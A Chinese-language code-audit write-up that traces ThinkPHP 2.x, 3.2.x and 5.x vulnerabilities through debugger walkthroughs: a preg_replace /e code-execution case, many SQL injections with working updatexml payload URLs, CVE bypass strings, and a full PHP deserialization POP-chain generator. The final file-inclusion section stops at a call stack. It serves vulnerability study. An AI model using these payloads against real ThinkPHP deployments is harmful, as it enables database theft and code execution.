ThinkPHP代码审计

img

基础

URL和路由:https://blog.csdn.net/lthirdonel/article/details/88775620

thinkphp内置了几种方法,在ThinkPHP/Common/functions.php,比如I(),M()等等

A 快速实例化Action类库 
B 执行行为类 
C 配置参数存取方法 
D 快速实例化Model类库 
F 快速简单文本数据存取方法 
I http获取参数
L 语言参数存取方法 
M 快速高性能实例化模型 
R 快速远程调用Action类方法 
S 快速缓存存取方法 
U URL动态生成和重定向方法 
W 快速Widget输出方法

ThinkPHP 2.x

preg_replace /e模式代码执行漏洞

https://blog.csdn.net/weixin_43749601/article/details/113417093

在2.1版本中存在大量preg_replace()函数使用了/e模式,如果参数可控,有可能存在任意代码执行漏洞(php<7)

下面的@e/e是一样的

image-20230703120726229

ThinkPHP/Lib/Think/Util/Dispatcher.class.php中,Dispatcher类的dispatch方法里

image-20230703121414905

Dispatcher.class.php 文件负责接收用户发送的请求,并根据路由规则将请求分发到相应的控制器(Controller)和方法(Action)。它会解析 URL,并根据定义的路由规则进行匹配,然后确定要执行的控制器和方法。

根据ThinkPHP对路由的解析,对这部分代码进行调试和分析

http://xx.xx.xx.xx/index.php/模块/控制器/操作

http://127.0.0.1/index.php/a/b/c/d

首先,通过 C('URL_MODEL') 获取 URL 的模式,然后根据不同的模式进行不同的处理,这里是默认模式

image-20230703141034997

接下来,如果配置文件中开启了子域名部署(APP_SUB_DOMAIN_DEPLOY 为真),则会根据规则对子域名进行路由处理。这里为false,直接跳过了

image-20230703141414294

然后根据配置文件中的设置获取 URL 的分隔符 (URL_PATHINFO_DEPR),并调用 getPathInfo() 函数来分析 URL 的 PATHINFO 信息

image-20230703141608989

接下来是路由检测和解析的部分。首先会调用 routerCheck() 函数检测是否有自定义的路由规则。如果没有自定义的路由规则,则按照默认规则进行调度。它会先根据 URL 分隔符将 $_SERVER['PATH_INFO'] 进行切割,得到一个路径的数组 $paths

image-20230703141759745

然后到preg_replace函数

image-20230703141926792

preg_replace()函数中,正则表达式中使用了/e模式,将“替换字符串”作为PHP代码求值,并用其结果来替换所搜索的字符串

上面正则表达式可以简化为\w+/([\^\/]),即搜索获取“/”前后的两个参数,$var[‘\1’]=”\2”;是对数组的操作,将之前搜索到的第一个值作为新数组的键,将第二个值作为新数组的值,我们发现可以构造搜索到的第二个值,即可执行任意PHP代码

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', 'c/d');

在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行

所以只要构造成这样:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', 'c/${phpinfo()}');

访问:http://127.0.0.1/index.php/a/b/c/${phpinfo()}出现报错

image-20230703143247858

加上@进行错误抑制即可

image-20230703143407449

后面版本的更新中,preg_replace被替换了:

输入的${phpinfo()}被当成了字符串被strip_tags()处理了

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']=strip_tags(\'\\2\');', implode($depr,$paths));

ThinkPHP 3.x

3.2.3 where 注入

配置控制器和数据库

Application/Home/Controller/IndexController.class.php

public function index()
{
$data = M('users')->find(I('GET.id'));
var_dump($data);
}

image-20230703174513551

image-20230703174604563

访问测试:

image-20230703174640702

对传入id=1,跟着调试看看

public function index()
    {
        $data = M('users')->find(I('GET.id'));
        var_dump($data);
    }

首先调用了M()方法,大概就是连接数据库,创建Model对象,位置在ThinkPHP/Mode/Lite/Model.class.php

/**
 * 实例化一个没有模型文件的Model
 * @param string $name Model名称 支持指定基础模型 例如 MongoModel:User
 * @param string $tablePrefix 表前缀
 * @param mixed $connection 数据库连接信息
 * @return Think\Model
 */
function M($name = '', $tablePrefix = '', $connection = '')
{
    static $_model = array();
    if (strpos($name, ':')) {
        list($class, $name) = explode(':', $name);
    } else {
        $class = 'Think\\Model';
    }
    $guid = (is_array($connection) ? implode('', $connection) : $connection) . $tablePrefix . $name . '_' . $class;
    if (!isset($_model[$guid])) {
        $_model[$guid] = new $class($name, $tablePrefix, $connection);
    }

    return $_model[$guid];
}

结束后调用I()方法,获取和解析http请求GET id的值,这里面调用了下面的方法进行安全过滤

function think_filter(&$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }

然后调用Model()类的find()方法,将传入的id做为参数,又会经过ThinkPHP/Library/Think/Model.class.php_parseOptions()方法

image-20230703200750666

跟进这个方法:

里面存在字段类型验证

if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
            // 对数组查询条件进行字段类型检查
            foreach ($options['where'] as $key => $val) {
                $key = trim($key);
                if (in_array($key, $fields, true)) {
                    if (is_scalar($val)) {
                        $this->_parseType($options['where'], $key);
                    }
                } elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
                    if (!empty($this->options['strict'])) {
                        E(L('_ERROR_QUERY_EXPRESS_') . ':[' . $key . '=>' . $val . ']');
                    }
                    unset($options['where'][$key]);
                }
            }
        }

其中_parseType()函数

protected function _parseType(&$data, $key)
    {
        if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
            $fieldType = strtolower($this->fields['_type'][$key]);
            if (false !== strpos($fieldType, 'enum')) {
                // 支持ENUM类型优先检测
            } elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
                $data[$key] = intval($data[$key]);
            } elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
                $data[$key] = floatval($data[$key]);
            } elseif (false !== strpos($fieldType, 'bool')) {
                $data[$key] = (bool) $data[$key];
            }
        }
    }

在这把id进行了强制类型转换,然后返回给_parseOptions(),最终带入$this->db->select($options)进行查询避免了注入问题。

理一下 传入id=1 -> I() -> find() -> _parseOptions() -> _parseType() 然后将我们的字符串清理了。 要知道id参数被改变的时间点在_parseType()中,那进入这个方法要满足

if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))

image-20230703204546122

然后使用报错注入

?id[where]=1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)%23

image-20230703204642573

3.2.3 exp注入

配置控制器

public function index()
{
    $User = D('Users');
    $map = array('username' => $_GET['username']);
    // $map = array('username' => I('username'));
    $user = $User->where($map)->find();
    var_dump($user);
}

测试

image-20230703213910460

调试:

username=aaa –> find(),运行到select()这里

image-20230703214601265

跟进

username=aaa –> find() –> select() ,

image-20230703214650903

根进buildSelectSql

username=aaa –> find() –> select()–>buildSelectSql()

image-20230703214849497

没有进入if判断,直接执行parseSql(),跟进查看

username=aaa –> find() –> select()–>buildSelectSql()–>parseSql()

public function parseSql($sql, $options = array())
    {
        $sql = str_replace(
            array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
                $this->parseField(!empty($options['field']) ? $options['field'] : '*'),
                $this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
                $this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
                $this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
                $this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
                $this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
                $this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
                $this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
                $this->parseLock(isset($options['lock']) ? $options['lock'] : false),
                $this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
                $this->parseForce(!empty($options['force']) ? $options['force'] : ''),
            ), $sql);
        return $sql;
    }

部分是通过parse系列函数来构建SQL语句,关注点在parseWhere()函数,跟进到parseWhere()里面

username=aaa –> find() –> select()–>buildSelectSql()–>parseSql()–>parseWhere()

在parseWhere()里无论进行什么操作,都会进入parseWhereItem,

image-20230703220403708

进入parseWhereItem

username=aaa –> find() –> select()–>buildSelectSql()–>parseSql()–>parseWhere() –> parseWhereItem()

在这个方法里,发现直接拼接

image-20230703221843199

但是需要满足条件才能进入这里

image-20230703222022145

构造payload,调试一下

?username[0]=exp&username[1]=1

成功进入

image-20230703222152915

image-20230703222237736

成功拼接,但是拼接结果是

`username`1

缺少了=

payload

?username[0]=exp&username[1]==1

image-20230703222625578

测试单引号,出现报错

image-20230703222855437

直接报错注入

?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,database(),0x7e),1)

image-20230703223003151

在开头的控制器中,使用了

$map = array('username' => $_GET['username']);

而不是

$map = array('username' => I('username'));

因为I()方法中存在安全过滤,EXP被过滤了

function think_filter(&$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
}

3.2.3 bind注入

控制器配置:这个控制器是指根据id修改对应的password

public function index()
{
    $User = M("Users");
    $user['id'] = I('id');
    $data['password'] = I('password');
    $valu = $User->where($user)->save($data);
    var_dump($valu);
}

测试:

http://127.0.0.1/index.php?id=1&password=aabb

image-20230704091236162

调试过程:

id=1&password=aabb–>save()

sava方法前面进行数据处理,和表达式分析,后面会运行到updata()

image-20230704103705460

跟进查看

id=1&password=aabb–>save()–>update()

public function update($data, $options)
    {
        $this->model = $options['model'];
        $this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
        $table = $this->parseTable($options['table']);
        $sql   = 'UPDATE ' . $table . $this->parseSet($data);
        if (strpos($table, ',')) {
// 多表更新支持JOIN操作
            $sql .= $this->parseJoin(!empty($options['join']) ? $options['join'] : '');
        }
        $sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');
        if (!strpos($table, ',')) {
            //  单表更新支持order和lmit
            $sql .= $this->parseOrder(!empty($options['order']) ? $options['order'] : '')
            . $this->parseLimit(!empty($options['limit']) ? $options['limit'] : '');
        }
        $sql .= $this->parseComment(!empty($options['comment']) ? $options['comment'] : '');
        return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
    }

这里看到了熟悉的parseWhere(),在这之前,$sql = 'UPDATE ' . $table . $this->parseSet($data);会构建出部分sql语句

但是sql语句是

UPDATE `users` SET `password`=:0

image-20230704104828201

id=1&password=aabb–>save()–>update() –>parseWhere()–>parseWhereItem()

这里的和上面exp注入差不多,想办法进入bind分支

image-20230704105214858

和exp注入一样修改get数据后成功进入

?id[0]=bind&id[1]=1&password=admin123

image-20230704105506703

查看拼接后最后sql语句,这里就很有问题,反正我目前还没见过

image-20230704105612143

parseWhere()执行完后得到了奇怪的sql语句

image-20230704105811692

在执行sql语句前的状态

image-20230704110047806

跟进execute()查看

id[0]=bind&id[1]=1&password=aabb–>save()–>update() —>execute()

image-20230704110455049

在这条代码里

$this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind))

array_map()是执行function,$this->bind为function的参数

strtr() 把$this->queryStr字符串里面的

整个过程将

UPDATE `users` SET `password`=:0 WHERE `id` = :1

修改为

UPDATE `users` SET `password`='admin123' WHERE `id` = :1

:0变成了admin123,就是$this->bind,但是:1没变

如果get的是id[0]=bind&id[1]=0,sql语句变成

UPDATE `users` SET `password`=:0 WHERE `id` = :0

经过替换后得到最终的sql语句

UPDATE `users` SET `password`='admin123' WHERE `id` = 'admin123'

然后执行

image-20230704111630574

因为整个过程中并没有对id进行过滤,只有一个:0替换,id[1]=0后面的拼接没有处理

image-20230704112103271

直接进行报错注入即可

http://127.0.0.1/index.php?id[0]=bind&password=admin123&id[1]=0 and updatexml(1,concat(0x7e,database(),0x7e),1)

image-20230704112211737

3.2.3 order by注入

先在2.3.4跟新的地方,发现parseOrder存在大量跟新,漏洞大概率出现在这

image-20230704125431131

控制器:

 public function index(){
        $username = I("username");
        $order = I("order");
        $data = M("users")->where(array("username"=>$username))->order($order)->find();
        dump($data);
    }

M只是实例化users对象,不管了,where也不是我们的利用点,我们也没对其进行操作,因此也跳过

疑问: order($order)是干嘛的?,只知道是给$order赋值

username=admin&order=1 –>find()–>select()–>buildSelectSql()–>parseSql()

在这里找到了parseOrder

image-20230704131151548

跟进parseOrder

protected function parseOrder($order)
    {
        if (is_array($order)) {
            $array = array();
            foreach ($order as $key => $val) {
                if (is_numeric($key)) {
                    $array[] = $this->parseKey($val);
                } else {
                    $array[] = $this->parseKey($key) . ' ' . $val;
                }
            }
            $order = implode(',', $array);
        }
        return !empty($order) ? ' ORDER BY ' . $order : '';
    }

这里首先会判断$order是不是数组,如果不是,返回拼接,如果$order不为空,则拼接ORDER BY

因为没有过滤,造成了sql注入

image-20230704131936741

这里可以直接注入了

?username=admin&order=1 and updatexml(1,concat(0x3a,database()),1)

image-20230704132307868

3.2.3 update注入

看来网上的分析文章,其实就是上面分析的bind注入

3.2.3 delete注入

(感觉还是where注入)

控制器:

public function index(){
        $id = I("id");
        $res = M("users")->delete($id);
    }

id=5–>delete()–>delete()

在这个方法里也是调用了一系列的parse方法,去构建sql语句

image-20230704141846044

id=5–>delete()–>delete()–>parseWhere()–>parseWhereItem()

经过这个方法后会构建出WHERE id=5

image-20230704142845933

尝试直接注入,得到奇怪的语句

id= 5%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

image-20230704143310018

查看parseWhere(),如果传进的参数如果是字符串,而不是数组,就不会进入else,产生那个奇怪的sql语句

image-20230704143837865

id[where]=5,这个能进入if判断

image-20230704144109802

然后直接跳转到最后的拼接,得到where 5

image-20230704144143733

image-20230704144231873

然后就进行注入尝试

image-20230704144328843

似乎可以,报错注入

image-20230704144425948

http://127.0.0.1/index.php?id[where]=5 and updatexml(1,concat(0x7e,database(),0x7e),1)

3.2.3 反序列化

(感觉还是sql注入)

控制器:

public function index(){
    unserialize(base64_decode($_GET['ser']));
}

先找__destruct,因为这个魔法方法当反序列化时先调用,全局搜索后,

找到ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

 public function __destruct()
    {
        empty($this->img) || $this->img->destroy();
    }

这个img可以控制

下一步就行找到一个能够调用destroy的类

ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

public function destroy($sessID)
{
        return $this->handle->delete($this->sessionName . $sessID);
}

$this->handle可控,但是这是有参函数,在php7调用有参函数时不传参数会触发框架里的错误处理,切换php5就行

下一步,找到delete()方法,在ThinkPHP/Mode/Lite/Model.class.php

public function delete($options = array())
    {
      
    }

这个就是前面分析sql注入的delete方法

里面会调用ThinkPHP/Library/Think/Db/Driver.class.php的delete方法

image-20230704153926320

public function delete($options = array())
    {
        $this->model = $options['model'];
        $this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
        $table = $this->parseTable($options['table']);
        $sql   = 'DELETE FROM ' . $table;
        if (strpos($table, ',')) {
// 多表删除支持USING和JOIN操作
            if (!empty($options['using'])) {
                $sql .= ' USING ' . $this->parseTable($options['using']) . ' ';
            }
            $sql .= $this->parseJoin(!empty($options['join']) ? $options['join'] : '');
        }
        $sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');
        if (!strpos($table, ',')) {
            // 单表删除支持order和limit
            $sql .= $this->parseOrder(!empty($options['order']) ? $options['order'] : '')
            . $this->parseLimit(!empty($options['limit']) ? $options['limit'] : '');
        }
        $sql .= $this->parseComment(!empty($options['comment']) ? $options['comment'] : '');
        return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
    }

image-20230704154233230

这里存在一个sql语句直接拼接,而且在前面的分析中没有对参数过滤,可以尝试用反序列化链造成sql注入

在执行sql语句时,会调用initConnect进行初始化连接

image-20230704154710379

跟进initConnect,

protected function initConnect($master = true)
    {
        if (!empty($this->config['deploy']))
        // 采用分布式数据库
        {
            $this->_linkID = $this->multiConnect($master);
        } else
        // 默认单数据库
        if (!$this->_linkID) {
            $this->_linkID = $this->connect();
        }

    }

跟进connect,这个$this->config可控

public function connect($config = '', $linkNum = 0, $autoConnection = false)
    {
        if (!isset($this->linkID[$linkNum])) {
            if (empty($config)) {
                $config = $this->config;
            }

            try {
                if (empty($config['dsn'])) {
                    $config['dsn'] = $this->parseDsn($config);
                }
                if (version_compare(PHP_VERSION, '5.3.6', '<=')) {
                    // 禁用模拟预处理语句
                    $this->options[PDO::ATTR_EMULATE_PREPARES] = false;
                }
                $this->linkID[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $this->options);
            } catch (\PDOException $e) {
                if ($autoConnection) {
                    trace($e->getMessage(), '', 'ERR');
                    return $this->connect($autoConnection, $linkNum);
                } elseif ($config['debug']) {
                    E($e->getMessage());
                }
            }
        }
        return $this->linkID[$linkNum];
    }

按照思路,构造POP链

__destruct()->destroy()->delete()->Driver::delete()->Driver::execute()->Driver::initConnect()->Driver::connect()
<?php
//初始化数据库连接
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $config = array(
            "debug"    => 1,
            "database" => "thinkphp",	//数据库名
            "hostname" => "127.0.0.1",	//地址
            "hostport" => "3306",	//端口
            "charset"  => "utf8",
            "username" => "root",	//用户名
            "password" => "123456"	//密码
        );
    }
}

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "users where 1 and updatexml(1,concat(0x7e,database(),0x7e),1)#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

3.2.4 CVE-2018-18546(上面Order by注入的绕过)

控制器:

public function index()
    {
        $obj = M('users');
        $res = $obj->where('id=1')->order(I('id'))->select();
        echo $obj->getLastSql();//输出sql语句
    }

描述:

image-20230707202352932

版本:3.2.4和3.2.5对比

image-20230707202509308

这部分代码是漏洞出现的地方,也就是对order拼接前进行过滤处理的地方

foreach (explode(',', $order) as $val) {
     if (preg_match('/\s+(ASC|DESC)$/i', rtrim($val), $match, PREG_OFFSET_CAPTURE)) {
            $array[] = $this->parseKey(ltrim(substr($val, 0, $match[0][1]))) . ' ' . $match[1][0];
       } elseif (false === strpos($val, '(')) {
            $array[] = $this->parseKey($val);
        }

这个代码首先将$order进行以逗号,进行分割为数组,然后遍历这个数组

然后按照不同规则进行处理,

第一个是使用 rtrim 函数去除 $val 右侧的空格,并将结果作为 preg_match 函数的第二个参数。匹配结果将存储在数组 $match 中,然后使用 substr 函数截取出 $val$match[0][1] 之前的部分(即去除了 ASCDESC 部分),然后使用 ltrim 函数去除左侧的空格。使用 $this->parseKey 方法对处理后的部分进行进一步解析,并将结果与匹配到的排序方式(ASCDESC)拼接成字符串,最后将其添加到数组 $array 中。

第二个是使用 strpos 函数检查 $val 中是否包含左括号 '('。如果不包含,则执行以下代码块。这里调用了 $this->parseKey 方法对 $val 进行解析,并将解析结果添加到数组 $array

确保前面没有过滤后,直接在这段代码进行下断点调试:

输入:?id=updatexml(1,concat(0x7e,database(),0x7e),1)

image-20230707211520419

这个会被分割为

['updatexml(1','concat(0x7e','database()','0x7e)','1)]

经过过滤处理最终满足条件的就只有最后两个

image-20230707210348075

为了让数组中每一位都能满足条件需要进行绕过:存在(的,使用sql语句中的注释进行绕过,在注释中添加ASC或者DESC,使得它走的是第一个if

不存在(的,适当构建/**/, ,为了构造分割和sql语句注释的完整

['updatexml(1','concat(0x7e','database()','0x7e)','1)]

处理后的数组:

['updatexml/*','*/(/*%20ASC','*/1','concat/*','*/(/*%20ASC','*/0x7e','database/*','*/(/*%20ASC','*/)','0x7e)','1)]

最后的payload:

updatexml/*,*/(/*%20ASC,*/1,concat/*,*/(/*%20ASC,*/0x7e,database/*,*/(/*%20ASC,*/),0x7e),1)

成功绕过:

image-20230707211835078

后面就是将order拼接ORDER BY 拼接到sql语句中执行了

image-20230707211923350

3.2.4 CVE-2018-18529

漏洞描述:ThinkPHP 3.2.4存在SQL注入漏洞,该漏洞是由于Library/Think/Db/Driver/Mysql.class.php文件中的parseKey函数对key变量处理不当所致。注意:攻击URI中不需要使用反引号字符

image-20230707212638957

对比官方的修复:

这里是添加了对$key变量的过滤

image-20230707213059131

这个函数在sql相操作中频繁使用 ,下面是完整代码:

protected function parseKey($key, $strict = false)
    {
        $key = trim($key);
        if ($strict || (!is_numeric($key) && !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
            $key = '`' . $key . '`';
        }
        return $key;
    }

首先,代码使用trim函数去除$key的首尾空格,确保处理的字符串没有多余的空白字符。

接下来,通过条件判断语句,检查strict的值和和key的内容,决定是否对$key进行进一步处理。

如果strict为true,或者key不是一个数字,并且不匹配正则表达式(该正则表达式用于检查$key中是否包含逗号、单引号、双引号、星号、括号、反引号、点号或空白字符),则执行下面的代码块。

在这个代码块中key前后分别添加了反引号(‘),形成了一个包裹着key的字符串。这样做是为了在后续的数据库查询中使用$key作为字段名或表名时,确保其被正确解析和识别。

最后,返回经过处理的$key。

可以看到,这个函数无论如何都会返回$key, 说明这里构造恶意的$key也会正常返回

测试:

控制器如下:

public function index()
    {
        $count = I('get.count');
        $m = M('users')->count($count);
        echo $m;
    }
?count=id

在这个函数断点调试

image-20230707230038151

程序第一次获取到的key是数据库中的表名,并且满足if条件将其添加反引号返回

image-20230707230249953

第二次获取到的是COUNT(id) AS tp_count 直接返回,这个是由于调用count的时候触发ThinkPHP/Library/Think/Model.class.php::__call()

在调用getField的时候进行的拼接

image-20230707231116054

当执行sql语句前,获取到的sql语句如下:

image-20230707231602039

可以直接根据这个进行构造sql语句进行注入

?count=id) or (select database()

image-20230707232743059

sqlmap:

image-20230707232815182

3.1.3 CVE-2018-10225

(环境出错)

ThinkPHP 5.x

开发手册:https://static.kancloud.cn/manual/thinkphp5/118003

5.0.15 ParseData方法注入

影响版本: 5.0.13<=ThinkPHP<=5.0.155.1.0<=ThinkPHP<=5.1.5

环境安装

composer create-project --prefer-dist topthink/think=5.0.15 thinkphp5.0.15

开启 application/config.php 中的 app_debug 和 app_trace

控制器:

 public function index()
    {
        $name = request()->get('name');
        var_dump($name);
//        $result = Db::table('test')->insert(['name' => $name,'password'=>'123456']);
        $result = db('test')->insert(['name' => $name,'password'=>'123456']);
        return dump($result);
    }

5.0.15和5.0.16版本对比,发现其修改的 Builder.php 文件代码

image-20230704201241633

调试分析:

name=ww –>insert

image-20230704201928517

到这里发现另一个insert方法,这个是生成sql语句的地方,跟进去看看

name=ww -->insert-->insert

image-20230704202201864

在这发现了官方修改的函数parseData,跟进看看

name=ww -->insert-->insert-->parseData

image-20230704202757576

发现没有进入到跟新的地方,直接往下生成预处理数据

image-20230704203014828

要进入里面,需要满足$val是数组

image-20230704203405087

可以发现,如果能够进入switch case,这里没有进行预处理,并且是直接拼接返回

尝试传入数组,name[0]=aa,并且把

$name = request()->get('name');

修改为

$name = request()->get('name/a');

表示数据类型转换为数组

image-20230704203856291

这里已经成功进入,按照跟新的地方,这里修改为

name[0]=inc

后面还有$val[1]和$val[2]

所以要添加够参数

name[0]=inc&&name[1]=aaa&&name[2]=bbb

image-20230704204332433

运行返回到第一个insert方法

发现已经拼接好的sql语句,往下就是获取参数绑定和执行了

image-20230704204531375

执行报错了

image-20230704204759216

name[1]=aa改为name[1]=aa’

出现sql语句报错

image-20230704204840371

直接在name[1]进行注入

http://127.0.0.1/index.php?name[0]=inc&&name[1]=updatexml(1,concat(0x7,database(),0x7e),1)&name[2]=aaa

image-20230704205043250

5.1.6 paraArraryData方法注入

影响版本: 5.1.6<=ThinkPHP<=5.1.7

下载环境

composer create-project --prefer-dist topthink/think=5.1.6 thinkphp5.1.6

开启 config/app.php 中的 app_debug 和 app_trace

控制器

public function index()
    {
        $password = request()->get('password');
        db('test')->where(['name' => 'bb'])->update(['password' => $password]);
        return 'Update success';
    }

和5.1.8版本对比,发现parseArrayData被删除

image-20230704212600933

image-20230704214735175

很明显的看到上面的parseArrayData是存在直接拼接

传参数调试一下password=123,直接在parseData进行断点调试,

update()-->update()--parseDate()

不难发现,传入参数不是数组,不能进入switch case里面

image-20230704215003689

所以修改传入的参数

password[0]=1&password[1]=2&password[2]=3

修改控制器为

public function index()
    {
        $password = request()->get('password/a');
        db('test')->where(['name' => 'bb'])->update(['password' => $password]);
        return 'Update success';
    }

image-20230704215334783

成功进入parseArrayData,跟进

update()-->update()--parseDate()-parseArrayData()

来到了think/db/builder/Mysql.php的Mysql类,因为这个类继承了Builder类

来到这里,发现$type必须为point才能进行后续的拼接

image-20230704215814024

修改传参,因为后面存在第4位数组,所以加多一位

?password[0]=point&password[1]=2&password[2]=3&password[3]=4

拼接后得到结果

image-20230704220500238

返回到

update()-->update()

查看生成的sql语句

image-20230704220818501

可以对password这部分内容进行构造注入

http://127.0.0.1/index.php?password[0]=point&password[1]=1&password[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&password[3]=0

image-20230704221119912

构造的sql语句为

"UPDATE `test`  SET `password` = updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)')  WHERE  `name` = :where_AND_name  "

5.1.6 parseWhereItem方法注入

影响版本: ThinkPHP5全版本

控制器

public function index()
    {
        $username = request()->get('username');
        $result = db('users')->where('username',$username)->select();
        var_dump($result);
        return 'select success';
    }

传入参数调试

username=admin

先进入select(),前面是对参数进行一些分析和处理,里面再调用$this->connection->select()

select()-->connection.select()

image-20230705091038039

跟进查看

找到生成sql语句的地方,在

think\db\Builder->select()

image-20230705091228734

跟进

select()-->connection.select()-->Builder.select()

image-20230705091445089

跟进这个 where 分析函数parseWhere,会发现其会调用生成查询条件 SQL 语句的 buildWhere 函数。

select()-->connection.select()-->Builder.select()-->parseWhere()

image-20230705091702418

跟进

select()-->connection.select()-->Builder.select()-->parseWhere()-->buildWhere()

image-20230705091957133

程序会运行到parseWhereItem where子单元分析函数,继续跟进查看

select()-->connection.select()-->Builder.select()-->parseWhere()-->buildWhere()-->parseWhereItem()

image-20230705094323968

关键点就在这里,这里会根据不同的表达式进入不同的函数,

image-20230705094549091

如果$exp=EXP,那么就会进入parseExp

image-20230705094719384

修改控制器

public function index()
    {
        $username = request()->get('username');
        $result = db('users')->where('username','exp',$username)->select();
        return 'select success';
    }

这里会出现直接拼接

image-20230705094831120

返回的结果

image-20230705094903839

层层返回,查看目前生成的sql

image-20230705095045212

然后根据这个sql进行拼接

http://127.0.0.1/?username=)%20union%20select%20updatexml(1%2cconcat(0x7e,database()%2c0x7e)%2c1)%23%20 

image-20230705095305304

image-20230705095331293

5.1.22 parseOrder方法注入

影响版本: 5.1.16<=ThinkPHP5<=5.1.22

composer create-project --prefer-dist topthink/think=5.1.22 thinkphp-5.1.22

控制器:

public function index()
    {
        $orderby = request()->get('orderby');
        $result = db('users')->where(['username' => 'admin'])->order($orderby)->find();
        var_dump($result);
    }

官方修复:添加了)#检查

image-20230705103055992

调试,运行到解析函数parseOrder

?orderby=id-->select()

image-20230705111300943

跟进

?orderby=id-->select()-->parseOrder()

image-20230705111503580

先判断$order是不是为空,就是传入的字符id

然后把它当数组,获取key和val

因为key是数字0,运行到 list(...)=...

大概是根据空格将字符串分开,变为数组

然后这里就是关键的地方

image-20230705112056553

正常来说,sort获取的是order by的排序方式,先把它转为大写,再判断是否在数组里,再拼接

查看生成的sql语句

SELECT * FROM `users` WHERE  `username` = :where_AND_username ORDER BY `id` LIMIT 1  

image-20230705112813823

因为没有过滤,可以尝试再id输入这里构造注入

orderby=id`,updatexml(1,concat(0x7e,database(),0x7e),1)%23

发现这里出现了问题

image-20230705113050691

传入的值在当成数组使用时被分割,以逗号分隔开,最后拼接的只有id`

如果把传入的值本身就是一个数组就能够解决这个问题

?orderby[]=id`,updatexml(1,concat(0x7e,database(),0x7e),1)%23

image-20230705113417373

最后拼接的结果

SELECT * FROM `users` WHERE  `username` = :where_AND_username ORDER BY `id`,updatexml(1,concat(0x7e,database(),0x7e),1)#` LIMIT 1  

image-20230705113500270

image-20230705113706760

5.0.10 cacheFile变量文件包含

控制器:

<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
    public function index()
    {
        $this->assign(request()->get());
        return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
    }
}

创建 application/index/view/index/index.html 文件,内容随意(没有这个模板文件的话,在渲染时程序会报错)

官方发布的更新:

image-20230705130446570

查看这个文件的对应位置template/driver/File.php

image-20230705130632625

发现这里可能会存在变量覆盖–>extract(),EXTR_OVERWRITE模式是默认值,如果有冲突,则覆盖已有的变量

如果 $cacheFile可控,将导致文件包含漏洞出现

随便传入参数调试

调用栈:

File.php:45, think\template\driver\File->read()
Template.php:200, think\Template->fetch()
Think.php:84, think\view\driver\Think->fetch()
View.php:163, think\View->fetch()
Controller.php:120, think\Controller->fetch()
